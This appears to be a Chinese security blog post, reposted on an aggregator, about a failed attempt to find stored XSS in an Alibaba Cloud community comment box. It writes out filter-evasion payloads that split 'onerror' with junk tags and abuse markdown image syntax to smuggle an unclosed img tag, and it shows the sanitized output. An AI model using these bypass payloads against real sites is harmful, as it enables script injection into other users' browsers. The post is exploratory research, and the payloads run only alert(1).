Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

从一次失败的xss挖掘引发的猜想

$
0
0

从一次失败的xss挖掘引发的猜想

-

1.支持图片评论,在插入图片的情况下 不会过滤<>.

2.黑名单策略,过滤所有的img能执行js代码的属性名.

经过简单测试. 构造

<aaa>o<aaa>n<aaa>er<aaa>r<aaa>o<aaa>r=alert(1); 还原成 onerror=alert(1);

3.构造

<img src=1 title="x"<aaa>o<aaa>n<aaa>er<aaa>r<aaa>or=alert(1);

解析成:

<p><img src="1" title="x" alt="1">onerror=alert(1) ;</p>

4.也就是说:存在src的前提下,下一个属性名非title、alt就用 > 闭合当前标签.

5.排除宽字节转换,要去掉 > 貌似不容易.

经过简单测试,发现:

支持markdown格式.而且markdown引擎对输入的数据进行首次解析.

过程如下: payload -> markdown parse -> html entity encode

输出在引号之内的值,转义引号,输出在引号之外的值,转义尖括号.

markdown parse format: <img src="1" alt=" " title=" ">

当前markdown引擎不支持 ![aaa bbb](a.jpg) 来设置table的值.

那么尝试构造:

![test">](1)

payload= test">

markdown parse: <img src="1" alt="test">" title="test">">

html entity encode: <img src="1" alt="test">" title="test"&gt;"&gt;

我的思路是这样的:

闭合侧漏的代码块.构造payload时: 第一段闭合当前img

第二段img用引号吃掉多余的部分并且闭合

第三段img不闭合<img src=1

第四段为 <aaa>o<aaa>n<aaa>er<aaa>r<aaa>o<aaa>r=alert(1);

最终解析成:

<img src=1 alt=1><img src=1 alt=" titlebalbalabal" title="babalbalabla"><img src=1 onerror=alert(1);

那么不难构造这样的payload:

![z&quot;&gt;&lt;img src=1](y)aaaa

markdown解析后,会生成两个img, 其实这不难理解.字符串拼接而已.

解析完毕后,再剥离markdown语法,还剩<img src=1 ,符合规则,所以<不会被转义.

回显如下:

<p><a href="y?spm=5176.100241.0.0.v9i3xu" target="_blank" data-spm-anchor-id="5176.100241.0.0"><img src="y" alt="z"><img src="1" title="z" alt="1""><img src="1" alt="1""></a>aaaa</p>

用markdown格式写img的时候会生成 <a> 标签,跟后面的aaaa隔离了.

那么在markdown格式之前,构造一个未闭合的img,且其中属性值未闭合的格式,用来吃掉 <a> 标签.

payload:

<img src=g alt=">![z"><img src=1](y)aaaa

response:

<p><img src="g" alt="><a href="><img src="y" alt="z"><img src="1" title="z" alt="1""><img src="1" alt="1"">aaaa</p>

这里<img src=1 被强制闭合了

诸位下次遇到这种环境,运气好标签不是强制闭合,可一试此法.

测试环境: https://yq.aliyun.com/ask/39201/?order=ctime

小子抛砖引玉,如有奇技淫巧望不吝赐教.


Viewing all articles
Browse latest Browse all 12749

Trending Articles